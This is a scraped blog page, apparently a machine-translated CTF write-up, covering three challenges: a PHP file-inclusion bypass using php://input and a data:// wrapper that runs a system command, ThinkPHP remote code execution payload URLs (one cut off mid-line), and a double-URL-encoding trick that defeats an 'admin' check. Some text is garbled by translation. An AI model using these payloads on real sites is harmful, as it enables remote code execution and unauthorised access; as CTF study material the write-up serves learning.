当前位置:网站首页>CTF record
CTF record
2022-07-02 11:18:00 【freshfox】
Source audit
File contains :
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post data php Code .

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce Pay attention when exploiting vulnerabilities payload
Exploit :
payload:
see phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
View sensitive files :
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
First step , To make "admin"===$_GET[id] Don't set up
We can admin Conduct url code , Of course, you can also code one of the letters here a Encoding :%61dmin
The first practical comparison if("admin"==="%61dmin") Don't set up
1
The second step , after G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);, bring $_GET[id] == "admin" establish .
after urldecode After decoding, it becomes admin
The second practical comparison if("admin" == "admin"); establish
1
** Be careful :** When the parameter is passed in id when , The browser will be right and wrong later ASCII The character of the code is carried out once urlencode code , It will be automatically performed once when running urldecode
Because we are url Run directly in the connection , The browser will make a url decode , So we'll do it again url code , That's right admin Code twice and then run
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- ctf 记录
- PowerBI中导出数据方法汇总
- Appgallery connect scenario development practice - image storage and sharing
- ros缺少xacro的包
- Special topic of binary tree -- acwing 19 The next node of the binary tree (find the successor of the node in the tree)
- Astparser parsing class files with enum enumeration methods
- Luogu p4281 [ahoi2008] emergency gathering / gathering (tree doubling LCA)
- Openmldb meetup No.4 meeting minutes
- [applinking practical case] share in app pictures through applinking
- ren域名有价值吗?值不值得投资?ren域名的应用范围有哪些?
猜你喜欢

MySQL比较运算符IN问题求解
![[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?](/img/66/674a06d8e45a31ae879b81554ef373.png)
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?
![Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)](/img/dc/2aa55c9b3f23c292820a56ea72fedd.png)
Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)

Win11 arm system configuration Net core environment variable

【云原生】2.5 Kubernetes 核心实战(下)

How to implement tabbar title bar with list component

ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘

QT learning diary 8 - resource file addition

数字化转型挂帅复产复工,线上线下全融合重建商业逻辑
![[AGC] build service 3 - authentication service example](/img/89/63f367270e806e89c4ff92360dc3c5.png)
[AGC] build service 3 - authentication service example
随机推荐
Approximate sum count (approximate
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
C# 文件与文件夹操作
Special topic of binary tree -- acwing 3384 Binary tree traversal (known preorder traversal, while building a tree, while outputting middle order traversal)
LVM操作
Regular and common formulas
mysql 基本语句
Win11 arm system configuration Net core environment variable
Indexer in C #
Implementation of six singleton modes
Tick Data and Resampling
[quick application] there are many words in the text component. How to solve the problem that the div style next to it will be stretched
Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)
一.STM32的开发环境,keil5/MDK5.14安装教程(附下载链接)
The working day of the month is calculated from the 1st day of each month
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
Thanos Receiver
What are the software product management systems? Inventory of 12 best product management tools
原生方法合并word
TIPC Service and Topology Tracking4